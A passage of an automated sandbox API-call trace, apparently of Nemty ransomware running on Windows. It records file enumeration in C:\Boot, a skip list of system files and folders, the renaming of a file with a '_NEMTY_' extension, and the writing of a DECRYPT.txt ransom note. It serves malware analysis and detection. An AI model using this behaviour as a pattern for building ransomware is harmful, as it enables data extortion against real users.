lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.509] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.509] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.515] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.515] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.515] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.515] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0046.515] CloseHandle (hObject=0xffffffff) returned 0 [0046.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0046.515] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0046.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0046.516] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edd0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0046.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0046.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0046.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0046.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0046.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0046.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0046.516] MoveFileW (lpExistingFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), lpNewFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui._nemty_kgobjgd_")) returned 0 [0046.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0046.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0046.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0046.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0046.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0046.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.516] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf5ac630, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcf5ac630, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf5ac630, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0046.516] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0046.516] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0046.516] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0046.516] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0046.516] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0046.516] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0046.516] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0046.516] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0046.516] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0046.516] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0046.516] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0046.517] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0046.517] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0046.517] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0046.517] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0046.517] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0046.517] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0046.517] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0046.517] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0046.517] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0046.517] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0046.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.517] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.517] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0046.517] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.517] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0046.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.517] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.517] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.518] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0046.518] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9edf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0046.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0046.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.518] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf5ac630, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcf5ac630, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf5ac630, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0046.518] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0046.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0046.518] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0046.518] lstrcmpiW (lpString1="zh-TW", lpString2=".") returned 1 [0046.518] lstrcmpiW (lpString1="zh-TW", lpString2="..") returned 1 [0046.518] lstrcmpiW (lpString1="zh-TW", lpString2="...") returned 1 [0046.518] lstrcmpiW (lpString1="zh-TW", lpString2="windows") returned 1 [0046.518] lstrcmpiW (lpString1="zh-TW", lpString2="$RECYCLE.BIN") returned 1 [0046.518] lstrcmpiW (lpString1="zh-TW", lpString2="rsa") returned 1 [0046.518] lstrcmpiW (lpString1="zh-TW", lpString2="NTDETECT.COM") returned 1 [0046.518] lstrcmpiW (lpString1="zh-TW", lpString2="ntldr") returned 1 [0046.518] lstrcmpiW (lpString1="zh-TW", lpString2="MSDOS.SYS") returned 1 [0046.518] lstrcmpiW (lpString1="zh-TW", lpString2="IO.SYS") returned 1 [0046.518] lstrcmpiW (lpString1="zh-TW", lpString2="boot.ini") returned 1 [0046.518] lstrcmpiW (lpString1="zh-TW", lpString2="boot.ini") returned 1 [0046.518] lstrcmpiW (lpString1="zh-TW", lpString2="AUTOEXEC.BAT") returned 1 [0046.518] lstrcmpiW (lpString1="zh-TW", lpString2="ntuser.dat") returned 1 [0046.518] lstrcmpiW (lpString1="zh-TW", lpString2="desktop.ini") returned 1 [0046.518] lstrcmpiW (lpString1="zh-TW", lpString2="CONFIG.SYS") returned 1 [0046.518] lstrcmpiW (lpString1="zh-TW", lpString2="RECYCLER") returned 1 [0046.519] lstrcmpiW (lpString1="zh-TW", lpString2="BOOTSECT.BAK") returned 1 [0046.519] lstrcmpiW (lpString1="zh-TW", lpString2="bootmgr") returned 1 [0046.519] lstrcmpiW (lpString1="zh-TW", lpString2="programdata") returned 1 [0046.519] lstrcmpiW (lpString1="zh-TW", lpString2="appdata") returned 1 [0046.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zh-TW", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0046.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zh-TW", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zh-TW", lpUsedDefaultChar=0x0) returned 5 [0046.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zh-TW", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0046.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zh-TW", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zh-TW", lpUsedDefaultChar=0x0) returned 5 [0046.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0046.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0046.519] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0046.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.519] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9eda8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0046.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0046.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.519] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\zh-tw\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0046.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.521] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.521] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0046.522] CloseHandle (hObject=0x3c0) returned 1 [0046.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0046.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0046.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0046.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0046.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edf8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0046.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0046.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0046.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0046.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0046.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.523] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\zh-tw\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0046.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.523] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.523] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0046.524] CloseHandle (hObject=0x3c0) returned 1 [0046.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0046.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0046.525] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcf6dd130, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf6dd130, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0046.525] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0046.525] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcf6dd130, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf6dd130, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.525] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0046.525] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0046.525] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0046.525] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0046.525] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0046.525] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="...") returned 1 [0046.525] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="windows") returned -1 [0046.525] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0046.525] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="rsa") returned -1 [0046.525] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="NTDETECT.COM") returned -1 [0046.525] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0046.525] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="MSDOS.SYS") returned -1 [0046.525] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="IO.SYS") returned -1 [0046.525] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0046.525] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0046.525] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0046.525] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0046.525] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0046.525] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="CONFIG.SYS") returned -1 [0046.525] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RECYCLER") returned -1 [0046.525] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="BOOTSECT.BAK") returned -1 [0046.525] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0046.526] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="programdata") returned -1 [0046.526] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="appdata") returned 1 [0046.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0046.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0046.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0046.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0046.526] 